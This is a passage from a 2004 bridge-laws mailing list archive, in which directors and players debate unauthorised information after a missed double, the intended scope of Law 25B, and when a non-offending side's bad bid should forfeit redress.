has been vain enough to gloatingly publish his winning strategy on blml, MadDog is no longer Lawfully entitled to use that winning strategy, as any future MadDog partner may be a blml lurker. Ecclesiastes 1:2 -> >Vanity of vanities, saith the Preacher, vanity >of vanities; all is vanity. :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From grandeval@vejez.fsnet.co.uk Thu May 6 06:49:07 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 6 May 2004 06:49:07 +0100 Subject: [blml] Constructive criticism References: Message-ID: <003301c43331$e4071520$9ab587d9@4nrw70j> Grattan Endicott To: Sent: Thursday, May 06, 2004 4:34 AM Subject: Re: [blml] Constructive criticism " the unintended consequences of Law 25B." +=+ I do not sure that I am aware of any *unintended* consequence. Please clarify. ~ Grattan ~ +=+ From grandeval@vejez.fsnet.co.uk Thu May 6 07:16:40 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 6 May 2004 07:16:40 +0100 Subject: [blml] Constructive criticism References: Message-ID: <003401c43331$e5892140$9ab587d9@4nrw70j> Grattan Endicott To: Sent: Thursday, May 06, 2004 4:34 AM Subject: Re: [blml] Constructive criticism >< Therefore, the WBF LC might also find that publication of its penultimate draft of the 2006 Laws is beneficial in improving its ultimate version of the 2006 Laws. <> +=+ No decision has been made yet as to publication or pre-publication, other than a recommendation to allow adequate time for Zones/NBOs to absorb the content of new laws before they are required to implement them. It is for the WBF Executive to prescribe the procedure after the drafting subcommittee has reported. It would be improper, and not its prerogative, for the subcommittee to publish its conclusions at large before presenting them to the WBF. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Thu May 6 07:31:02 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 6 May 2004 07:31:02 +0100 Subject: Fw: [blml] Constructive criticism Message-ID: <002301c43333$cad23920$b8e9403e@multivisionoem> Correction ******** > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "The only argument available with an > east wind is to put on your overcoat." > - J.R.Lowell. > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: > To: > Sent: Thursday, May 06, 2004 4:34 AM > Subject: Re: [blml] Constructive criticism > > " the unintended consequences of Law 25B." > > +=+ I am not sure that I am aware of any > *unintended* consequence. Please clarify. > ~ Grattan ~ +=+ > > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Thu May 6 07:47:11 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 06 May 2004 08:47:11 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: <002f01c43314$84ab5540$8b9b87d9@4nrw70j> References: <005e01c43295$32a1d8c0$adbd87d9@4nrw70j> <4098F1E8.7040301@hdw.be> <002f01c43314$84ab5540$8b9b87d9@4nrw70j> Message-ID: <4099DF6F.2080307@hdw.be> OK Grattan, indeed: grandeval wrote: > > < Herman wrote: > >>. Surely some piece of >>information is not UI as soon as it is "obtained", and >>can no more regain it's AI nature. Consider the >>following as example: LHO bids something, and partner >>asks what it means. Surely I can use that same info >>(provided it is something I would need) and the >>meaning of the bid does not turn into UI for ever more, >>simply because my partner has asked about it first. >> > > +=+ No it does not. However you must now point to a > source which is not tainted by the doubt that your prior > ignorance has been remedied by the UI from partner. I agree with Grattan here (since he was so kind to agree with me - even if "No it does not" does not sound like an agreement). I like the words "source which is not tainted" and "prior ignorance". I confess that the two examples given are not totally alike. My example contains a piece of information of which the player is ignorant simply because he did not have time yet to inquire about it. That situation is indeed dissimilar to the one from the original case, where the player has proven ignorance (of the double he did not notice). Now indeed the standard should be higher as to the likelihood of the player noticing of his own accord. I will even say that the standard must be higher than the bidding card simply lying there on the table. There must be some reason why the player would want to ask for a review of the auction. I would like to propose the following standard: suppose the game is being played without bidding cards, and the bidding reverts to the original player. Would the bidding so far seem strange enough (given the misheard original) that the player would ask for a review of the bidding? If so, yes, he is allowed to notice the bid he missed before. To go back to the original: WEST NORTH EAST SOUTH --- 1NT(1) Pass 2C(2) Pass Pass Double ? (1) Partnership agreement is balanced 12-14 hcp (2) Partnership agreement is simple Stayman You, South, hold: Q3 9643 AKJ82 J2 It seems clear to me that the player should ask himself: "why did partner pass my Stayman? Must I now play 2CX? Can this bidding be correct? I don't believe the standard should be put at 100% here - but there is enough likelihood that this player will ask for the bidding to be repeated. > The margin of doubt persists until you have clear fresh > evidence from which to gain the information; you > cannot step back of your own volition to a time before > you received the UI . The UI from partner has removed > that recourse from your options. > That is true - there must be some reason for you to enquire about the information yourself. It seems as though we agree on the principles involved. > ~ G ~ +=+ > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Thu May 6 07:50:11 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 06 May 2004 08:50:11 +0200 Subject: [blml] System on (was Double-meaning) In-Reply-To: References: Message-ID: <4099E023.5080800@hdw.be> richard.hills@immi.gov.au wrote: > > Jeff Meckstroth: > >> >>However, I am strongly against what has happened >>with the Macallan International Pairs. > > > [snip] > > >>we had won it two years in a row, and then the >>following year they brought in the system >>restrictions. > > > [snip] > > >>I like the competition, but Rodwell and I will >>not play together in a system-restricted >>tournament again. > > > [snip] > > Richard James Hills: > > I support the "different strokes for different > folks" systems policy advocated by Meckstroth. > > Bunnies need to be protected from unfair > bamboozling by experts. But in an all-expert > tournament, system restrictions should be > minimal or non-existent. > Do note however, that tournaments such as the Macallan are NOT run for the benefit of the players, but rather for the (paying?) public. That too should be a valid reason for system restrictions. Meckwell are allowed to refuse to play such events, but they should know why they are in place and admit that they have an obligation to their public as well. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From twm@cix.co.uk Thu May 6 10:36:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 6 May 2004 10:36 +0100 (BST) Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: Message-ID: Mad Dog wrote: > >You, South, hold: > > > >Q3 > >9643 > >AKJ82 > >J2 > > Still pass. probably go for 800. wtp? Bid 2D with screens of course. Suicide. Omitting all information from partner from the story one asks any number of players "The auction has gone..., you didn't see the double of 1N first time around - what do you do now?" They universally bid 2D and do not consider pass an LA. I don't care how you "discovered" the first double it is a legal call and is AI when considering your next call. Tim From Harald.Skjaran@bridgefederation.no Thu May 6 11:45:32 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Thu, 6 May 2004 12:45:32 +0200 Subject: SV: [blml] Misinformation? Damage? Self-inflected? (Sven Pran) Message-ID: <89FD2BC254969C4297E82458BB27990061ECC4@exchange.idrettsforbundet.no> Eric Landa wrote: At 06:08 AM 5/4/04, Nuno wrote: >I would be inclined to let the result stand. Here is my reasoning: > >East's damage seems self-inflicted: if NS had their bids, West should=20 >indeed have 3-4 hearts and singleton or void diamond. HOWEVER, if West=20 >couldn't scrap a raise on such a hand, then he would have to be=20 >extremely weak, 3 points at best. In such a scenario, 3H is a=20 >pointless bid on East's present hand, which is bound to accomplish=20 >absolutely nothing... except to give NS the chance to double East! On=20 >the other hand, if the opponents are misbidding, 3H is again a shot in=20 >the dark. > >So, my conclusion is 3H is a bad bid, regardless of what the opponents=20 >are doing. The bid got what it deserved and so result should stand. "East's damage seems self-inflicted." "3H is a bad bid." "The bid got=20 what it deserved." All true. But they do not suggest that the result should stand. In=20 order to deny redress to an NOS as a result of their own actions, the=20 action must have been "an egregious error" (ACBL) or "irrational, wild=20 or gambling" (elsewhere). Those conditions are a *lot* stronger than=20 merely that the NOS made a bad bid that got what it deserved. ----- East said he bid 3H because he believed west was void in diamonds. If west was short in diamonds, had a few points and an adequate trump holding, he would bid 3H himself. Bidding partner's hand for him is irrational (and stupid as well). Bidding to the 3-level at red with east's hand is a gambling action. He's bid already. West is far better placed to judge what to do. So in my opinion, result should stand for EW based upon this - whatever other conclusions you arrive at. Regards, Harald ----- Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Thu May 6 13:45:12 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 06 May 2004 14:45:12 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: Message-ID: <409A3358.2060707@hdw.be> Tim West-Meads wrote: > Mad Dog wrote: > > >>>You, South, hold: >>> >>>Q3 >>>9643 >>>AKJ82 >>>J2 > > >>Still pass. probably go for 800. wtp? Bid 2D with screens of course. > > > Suicide. Omitting all information from partner from the story one asks > any number of players "The auction has gone..., you didn't see the double > of 1N first time around - what do you do now?" They universally bid 2D > and do not consider pass an LA. I don't care how you "discovered" the > first double it is a legal call and is AI when considering your next call. > Well Tim, you are in the wrong there. The misseen double from the first round does become UI when it is your partner who draws attention to it. I would do the following in my poll. I would tell the story first with a pass to the right of the bidder. If the pollee asks me to repeat the bidding, I count that as a person for who the UI is turned into AI. That is also a player who will look at the bidding once again, and discover the first double without need of the UI. I have not conducted this poll, but I believe close to 100% of polled players would think something strange is going on. As we heard, John disagrees with that number and unless we actually conduct such a poll, we won't know who's right. The only question that remains interesting is what we do if only 80% of pollees ask for a review of the bidding. Do we need 100% to turn UI into AI? I don't believe so, but I think John wants it closer to 100% before he'll allow it. > Tim > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From ehaa@starpower.net Thu May 6 21:57:11 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 06 May 2004 16:57:11 -0400 Subject: SV: [blml] Misinformation? Damage? Self-inflected? (Sven Pran) In-Reply-To: <89FD2BC254969C4297E82458BB27990061ECC4@exchange.idrettsfor bundet.no> Message-ID: <5.2.0.9.0.20040506164818.00a89120@pop.starpower.net> At 06:45 AM 5/6/04, Skjaran wrote: >Eric Landa wrote: > >At 06:08 AM 5/4/04, Nuno wrote: > > >I would be inclined to let the result stand. Here is my reasoning: > > > >East's damage seems self-inflicted: if NS had their bids, West should > >indeed have 3-4 hearts and singleton or void diamond. HOWEVER, if West > >couldn't scrap a raise on such a hand, then he would have to be > >extremely weak, 3 points at best. In such a scenario, 3H is a > >pointless bid on East's present hand, which is bound to accomplish > >absolutely nothing... except to give NS the chance to double East! On > >the other hand, if the opponents are misbidding, 3H is again a shot in > >the dark. > > > >So, my conclusion is 3H is a bad bid, regardless of what the opponents > >are doing. The bid got what it deserved and so result should stand. > >"East's damage seems self-inflicted." "3H is a bad bid." "The bid got >what it deserved." > >All true. But they do not suggest that the result should stand. In >order to deny redress to an NOS as a result of their own actions, the >action must have been "an egregious error" (ACBL) or "irrational, wild >or gambling" (elsewhere). Those conditions are a *lot* stronger than >merely that the NOS made a bad bid that got what it deserved. >----- >East said he bid 3H because he believed west was void in diamonds. If >west was short in diamonds, had a few points and an adequate trump >holding, he would bid 3H himself. Bidding partner's hand for him is >irrational (and stupid as well). > >Bidding to the 3-level at red with east's hand is a gambling action. >He's bid already. West is far better placed to judge what to do. > >So in my opinion, result should stand for EW based upon this - whatever >other conclusions you arrive at. OK. I haven't given enough thought to the thread case to take a stand on whether East's 3H bid was in fact egregious, and Harald may well be right. But that wasn't my point, which was that denial of redress requires such a finding, that Nuno's premises, while undeniable, do not justify his conclusion (which may nevertheless be correct). The notion that redress should be routinely denied just because a bad bid got what it deserved is both widespread and pernicious, and the forces of righteousness have a duty to try to stamp it out wherever they encounter it. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From richard.hills@immi.gov.au Thu May 6 22:22:25 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 7 May 2004 07:22:25 +1000 Subject: [blml] Constructive criticism Message-ID: >>>" the unintended consequences of Law 25B." >>+=3D+ I am not sure that I am aware of any >>*unintended* consequence. Please clarify. >> ~ Grattan ~ +=3D+ WBF LC minutes, Lille 1998: >The Committee considered the situation in >regard to purposeful corrections of call under >Law 25B. The Chairman drew attention to the >effect of Law 25B. It was agreed that the >**intention** of the Committee in drafting >this Law was to permit the correction of a >"stupid mistake" (e.g. passing a cue bid >after thinking whether to bid game or slam). > >It was **not** the **intention** that the Law >should be used to allow of rectification of >the player's judgement. Quod erat demonstrandum, RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu May 6 22:57:45 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 7 May 2004 07:57:45 +1000 Subject: [blml] Constructive criticism Message-ID: Richard James Hills suggested: [snip] >>>Therefore, the WBF LC might also find that >>>publication of its penultimate draft of the >>>2006 Laws is beneficial in improving its >>>ultimate version of the 2006 Laws. Gnomic Grattan: [snip] >>It is for the WBF Executive to prescribe the >>procedure after the drafting subcommittee >>has reported. It would be improper, and not >>its prerogative, for the subcommittee to >>publish its conclusions at large before >>presenting them to the WBF. >> ~ Grattan ~ +=3D+ Sir Humphrey Appleby: >Well, it's clear that the committee has agreed >that your new policy is a really excellent >plan but in view of some of the doubts being >expressed, may I propose that I recall that >after careful consideration, the considered >view of the committee was that while they >considered that the proposal met with broad >approval in principle, that some of the >principles were sufficiently fundamental in >principle and some of the considerations so >complex and finely balanced in practice, that, >in principle, it was proposed that the >sensible and prudent practice would be to >submit the proposal for more detailed >consideration, laying stress on the essential >continuity of the new proposal with existing >principles, and the principle of the principle >arguments which the proposal proposes and >propounds for their approval, in principle. Richard James Hills resuggests: Perhaps the Secretary of the WBF LC might be kind enough to properly prerogatively prompt, by passing my penultimate publication proposal to the WBF Executive? :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Fri May 7 02:16:51 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 7 May 2004 11:16:51 +1000 Subject: [blml] Active ethics (was Double-meaning) Message-ID: http://historymatters.gmu.edu/mse/numbers/question3.html >>>The magazine Literary Digest had >>>correctly predicted the outcomes of the >>>1916, 1920, 1924, 1928, and 1932 >>>elections by conducting polls. In 1936, >>>the magazine mailed 10,000,000 ballots >>>and more than 2,000,000 were returned. [snip] >>>Literary Digest's prediction? That >>>Republican presidential candidate >>>Alfred Landon would win 57 percent of >>>the popular vote and 370 electoral >>>votes. [snip] >>>the ten million person "sample" was >>>drawn from owners of automobiles and >>>people listed in phone books - groups >>>who were more affluent and thus less >>>likely to vote for Roosevelt. Herman De Wael proposed an opinion poll: [snip] >>I would do the following in my poll. I >>would tell the story first with a pass >>to the right of the bidder. If the >>pollee asks me to repeat the bidding, >>I count that as a person for who the >>UI is turned into AI. That is also a >>player who will look at the bidding >>once again, and discover the first >>double without need of the UI. >> >>I have not conducted this poll, but I >>believe close to 100% of polled >>players would think something strange >>is going on. [snip] Richard James Hills: Like the Literary Digest's poll , I believe that Herman's thought-experiment opinion poll also suffers from a sampling error. John (MadDog) Probst would not think that something strange is going on; rather MadDog would routinely assume that his partner had psyched. Neither would I think that something strange is going on; rather I would routinely assume that partner had inadvertently pulled the wrong card from the bidding box. Given my routine assumption, it would be inactively ethical for me to spend time checking the previous bidding, since (if pard was entangled with Law 25A) any time-wasting by me would give UI to partner that he had soon-to-expire rights under Law 25A: >*Until his partner makes a call*, a >player may substitute his intended >call for an inadvertent call..... Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From Harald.Skjaran@bridgefederation.no Fri May 7 07:24:39 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Fri, 7 May 2004 08:24:39 +0200 Subject: SV: SV: [blml] Misinformation? Damage? Self-inflected? (Sven Pran) Message-ID: <89FD2BC254969C4297E82458BB27990061ECC5@exchange.idrettsforbundet.no> Eric Landau wrote: Skjaran wrote: >Eric Landa wrote: > >At 06:08 AM 5/4/04, Nuno wrote: > > >I would be inclined to let the result stand. Here is my reasoning: > > > >East's damage seems self-inflicted: if NS had their bids, West should > >indeed have 3-4 hearts and singleton or void diamond. HOWEVER, if West > >couldn't scrap a raise on such a hand, then he would have to be > >extremely weak, 3 points at best. In such a scenario, 3H is a > >pointless bid on East's present hand, which is bound to accomplish > >absolutely nothing... except to give NS the chance to double East! On > >the other hand, if the opponents are misbidding, 3H is again a shot in > >the dark. > > > >So, my conclusion is 3H is a bad bid, regardless of what the opponents > >are doing. The bid got what it deserved and so result should stand. > >"East's damage seems self-inflicted." "3H is a bad bid." "The bid got >what it deserved." > >All true. But they do not suggest that the result should stand. In >order to deny redress to an NOS as a result of their own actions, the >action must have been "an egregious error" (ACBL) or "irrational, wild >or gambling" (elsewhere). Those conditions are a *lot* stronger than >merely that the NOS made a bad bid that got what it deserved. >----- >East said he bid 3H because he believed west was void in diamonds. If >west was short in diamonds, had a few points and an adequate trump >holding, he would bid 3H himself. Bidding partner's hand for him is >irrational (and stupid as well). > >Bidding to the 3-level at red with east's hand is a gambling action. >He's bid already. West is far better placed to judge what to do. > >So in my opinion, result should stand for EW based upon this - whatever >other conclusions you arrive at. OK. I haven't given enough thought to the thread case to take a stand=20 on whether East's 3H bid was in fact egregious, and Harald may well be=20 right. But that wasn't my point, which was that denial of redress=20 requires such a finding, that Nuno's premises, while undeniable, do not=20 justify his conclusion (which may nevertheless be correct). The notion that redress should be routinely denied just because a bad=20 bid got what it deserved is both widespread and pernicious, and the=20 forces of righteousness have a duty to try to stamp it out wherever=20 they encounter it. ----- I definitely agree with you on that, Eric. It's my opinion that TD's and AC's far to often denies redress because of a bad bid or play, without taking a stance whether it's WIoG. Regards, Harald ----- Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Fri May 7 07:53:21 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 07 May 2004 08:53:21 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: Message-ID: <409B3261.3080506@hdw.be> Hello Richard, richard.hills@immi.gov.au wrote: > > > > http://historymatters.gmu.edu/mse/numbers/question3.html > > >>>>The magazine Literary Digest had >>>>correctly predicted the outcomes of the >>>>1916, 1920, 1924, 1928, and 1932 >>>>elections by conducting polls. In 1936, >>>>the magazine mailed 10,000,000 ballots >>>>and more than 2,000,000 were returned. > > > [snip] > > >>>>Literary Digest's prediction? That >>>>Republican presidential candidate >>>>Alfred Landon would win 57 percent of >>>>the popular vote and 370 electoral >>>>votes. > > > [snip] > > >>>>the ten million person "sample" was >>>>drawn from owners of automobiles and >>>>people listed in phone books - groups >>>>who were more affluent and thus less >>>>likely to vote for Roosevelt. > > > Herman De Wael proposed an opinion poll: > I do believe you realize the difference between Roosevelt and this poll. I was commenting on Tim, who proposed a poll (of players, thus unbiased) which started "1NT dble - which you don't see - 2Cl ..., what do you do". My poll would be "1NT pass 2Cl ...". I don't think there is anything wrong with this proposal and I fail to see why this should be likened to the Roosevelt poll. After all, it is a technique we all use all the time, isn't it? So the two players below should count as players, not as directors: > [snip] > > >>>I would do the following in my poll. I >>>would tell the story first with a pass >>>to the right of the bidder. If the >>>pollee asks me to repeat the bidding, >>>I count that as a person for who the >>>UI is turned into AI. That is also a >>>player who will look at the bidding >>>once again, and discover the first >>>double without need of the UI. >>> >>>I have not conducted this poll, but I >>>believe close to 100% of polled >>>players would think something strange >>>is going on. > > > [snip] > > Richard James Hills: > > Like the Literary Digest's poll , I > believe that Herman's thought-experiment > opinion poll also suffers from a > sampling error. > What sampling error - I want to poll players in the tournament? You two can be players as well: > John (MadDog) Probst would not think > that something strange is going on; > rather MadDog would routinely assume > that his partner had psyched. > OK, count that one as a vote for not checking the bidding then. > Neither would I think that something > strange is going on; rather I would > routinely assume that partner had > inadvertently pulled the wrong card > from the bidding box. Given my > routine assumption, it would be > inactively ethical for me to spend time > checking the previous bidding, since > (if pard was entangled with Law 25A) > any time-wasting by me would give UI to > partner that he had soon-to-expire > rights under Law 25A: > > >>*Until his partner makes a call*, a >>player may substitute his intended >>call for an inadvertent call..... > Maybe a second vote, but only for the reason that you give. But the main reason for my poll was not to find out what people would bid (although that is what I am asking, of course), but to find out whether or not they want a review of the bidding. Something along the lines of "did I hear correctly? 1NT pass 2Cl pass pass dble?" Anyway, I don't believe sampling error is a factor here. Not more than every time we use this technique. > > Best wishes > > RJH > -------------------------------------------------------------------------------------- > Important Warning: If you have received this email in error, please > advise the sender and delete the message and attachments immediately. This > email, including attachments, may contain confidential, legally privileged > and/or copyright information, the unauthorised use of which is prohibited. > Any views expressed in this email are those of the individual sender, > except where the sender expressly, and with authority, states them to be > the view of the Department of Immigration and Multicultural and Indigenous > Affairs (DIMIA). DIMIA respects your privacy and has obligations under the > Privacy Act 1988 (see www.immi.gov.au). > -------------------------------------------------------------------------------------- > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From gesta@tiscali.co.uk Fri May 7 07:50:50 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Fri, 7 May 2004 07:50:50 +0100 Subject: [blml] Constructive criticism References: Message-ID: <001d01c433ff$c26d5a40$b605e150@multivisionoem> Grattan Endicott To: Sent: Thursday, May 06, 2004 10:22 PM Subject: Re: [blml] Constructive criticism < >>>" the unintended consequences of Law 25B." >>+=+ I am not sure that I am aware of any >>*unintended* consequence. Please clarify. >> ~ Grattan ~ +=+ WBF LC minutes, Lille 1998: >The Committee considered the situation in >regard to purposeful corrections of call under >Law 25B. The Chairman drew attention to the >effect of Law 25B. It was agreed that the >**intention** of the Committee in drafting >this Law was to permit the correction of a >"stupid mistake" (e.g. passing a cue bid >after thinking whether to bid game or slam). > >It was **not** the **intention** that the Law >should be used to allow of rectification of >the player's judgement. Quod erat demonstrandum, +=+ Oh that! :-)..... it is perhaps notable that we were never able to make this clear during Edgar's lifetime. The committee has since asserted itself, but I am less than fully persuaded that Edgar did not know what he was doing. ~ Grattan ~ +=+ From twm@cix.co.uk Fri May 7 12:36:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 7 May 2004 12:36 +0100 (BST) Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: <409A3358.2060707@hdw.be> Message-ID: > Tim West-Meads wrote: > > > Mad Dog wrote: > > > > > >>>You, South, hold: > >>> > >>>Q3 > >>>9643 > >>>AKJ82 > >>>J2 > > > > > >>Still pass. probably go for 800. wtp? Bid 2D with screens of course. > > > > > > Suicide. Omitting all information from partner from the story one > > asks any number of players "The auction has gone..., you didn't see > > the double of 1N first time around - what do you do now?" They > > universally bid 2D and do not consider pass an LA. I don't care how > > you "discovered" the first double it is a legal call and is AI when > > considering your next call. > > > > Well Tim, you are in the wrong there. The misseen double from the > first round does become UI when it is your partner who draws attention > to it. No, I am not. The actual auction is *always* AI, whatever the circumstances, however one becomes aware of it, even if partner (out of the blue) says "Did you see the first double?" (albeit in that case I'm hitting the partner with a huge PP). It doesn't matter. There is absolutely *no* ambiguity in the opening statement of law 16. "Players are authorised to base their calls and plays on information from legal calls and plays and from mannerisms of opponents." Some contributors here seem to wish that the law was different - maybe it will be one day but until then no amount of twisting and turning can make a legal call UI. The double of 1N was a legal call. I am authorised to base my action upon it. Sure the alert/explanation are UI but that is irrelevant here. Once I know that I missed the first double I have no LA to 2D. From hermandw@hdw.be Fri May 7 13:08:55 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 07 May 2004 14:08:55 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: Message-ID: <409B7C57.6000003@hdw.be> OK Tim, fair enough. Let's discuss this fundamental point. Tim West-Meads wrote: >> >>Well Tim, you are in the wrong there. The misseen double from the >>first round does become UI when it is your partner who draws attention >>to it. > > > No, I am not. The actual auction is *always* AI, whatever the > circumstances, however one becomes aware of it, even if partner (out of > the blue) says "Did you see the first double?" (albeit in that case I'm > hitting the partner with a huge PP). It doesn't matter. OK, I feel something for that point of view. You would draw the line between "did you see that 1Cl?" (= please lead them) and "did you see that bid" (= did you hear the full auction). I can live with that. It would mean that everything a player is entitled to know cannot be UI. Which is a simple enough concept. How come this principle is seemingly not the one the majority on this list are using? I must confess that I too would regard something that comes from partner as UI. Am I wrong? Please give us your opinions. > There is absolutely *no* ambiguity in the opening statement of law 16. > "Players are authorised to base their calls and plays on information from > legal calls and plays and from mannerisms of opponents." Some > contributors here seem to wish that the law was different - maybe it will > be one day but until then no amount of twisting and turning can make a > legal call UI. Anyone have a different opinion? I sure as hell don't know what to reply to this one. > > The double of 1N was a legal call. I am authorised to base my action upon > it. Sure the alert/explanation are UI but that is irrelevant here. Once > I know that I missed the first double I have no LA to 2D. > That last paragraph is without problem, in the sense that it is based on the foundations of the paragraphs higher. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From grandeval@vejez.fsnet.co.uk Fri May 7 13:13:42 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Fri, 7 May 2004 13:13:42 +0100 Subject: [blml] Active ethics (was Double-meaning) References: Message-ID: <001901c4342d$34e7ddc0$e29b4c51@4nrw70j> Grattan Endicott To: Sent: Friday, May 07, 2004 12:36 PM Subject: Re: [blml] Active ethics (was Double-meaning) > > The double of 1N was a legal call. I am authorised > to base my action upon it. Sure the alert/explanation > are UI but that is irrelevant here. Once I know that I > missed the first double I have no LA to 2D. > +=+ So that, as with the explanation, it would be lawful to say to partner: "Hey, wake up! You have missed the double of the 1NT" and for partner to act on this information? I must have another think about Law 73B1. ~ G ~ +=+ From hermandw@hdw.be Fri May 7 14:28:19 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 07 May 2004 15:28:19 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: <001901c4342d$34e7ddc0$e29b4c51@4nrw70j> References: <001901c4342d$34e7ddc0$e29b4c51@4nrw70j> Message-ID: <409B8EF3.1020502@hdw.be> grandeval wrote: > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ============================== > "What can be said at all can be said clearly, > and whereof one cannot speak thereof one > must be silent." > 'Tractatus Logico-Philosophicus' > ++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: "Tim West-Meads" > To: > Sent: Friday, May 07, 2004 12:36 PM > Subject: Re: [blml] Active ethics (was Double-meaning) > > > >>The double of 1N was a legal call. I am authorised >>to base my action upon it. Sure the alert/explanation >>are UI but that is irrelevant here. Once I know that I >>missed the first double I have no LA to 2D. >> > > +=+ So that, as with the explanation, it would be lawful > to say to partner: "Hey, wake up! You have missed > the double of the 1NT" and for partner to act on this > information? I must have another think about Law 73B1. > ~ G ~ +=+ > I don't think that is the gist of what Tim is saying. After all, partner does not realize that the double was not seen. There is no intent of illegal communication, only a resulting information. After all, what would be the difference between the following stories (all without bidding boxes): 1) North asks a review of the bidding, which West gives. South now realizes that he hadn't seen the double; 2) West asks a review of the bidding, North gives it; 3) East asks a review of the bidding, South gives it, without the double, North corrects; 4) as 3, but West corrects; 5) South asks a review of the bidding and gets it. Surely it does not matter who gives the information, as long as the neutral information is all that is received? The more I think about it, the more I feel Tim is correct. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From karel@esatclear.ie Fri May 7 16:28:46 2004 From: karel@esatclear.ie (Karel) Date: Fri, 7 May 2004 16:28:46 +0100 Subject: [blml] 2 cases Message-ID: <409bab2e.1315.0@esatclear.ie> [snip ] >RJH notes: > >Because N/S would have scored +450 in 4S, absent >E/W's MI infraction, E/W should definitely have >had their score adjusted by the actual AC to >-450, pursuant to Law 12C2. +++ Ok that seems much fairer. At least E/W dont get off scott free. >However, it seems that the actual AC's ruling >was partially correct. Since the actual AC >ruled that N/S were irrational in failing to cope >with E/W's MI infraction, then the actual AC >correctly gave N/S the table score of +200. +++ I know we'd had this discussion about what is irrational or not. In the actual case S AKQxxx H Qx D xx C QJx 1D 1S P 2D 2NT** ?? It seems the AC decided that everyone with this hand would double. I'd be surprised if the actual North didn't consider double. Infact 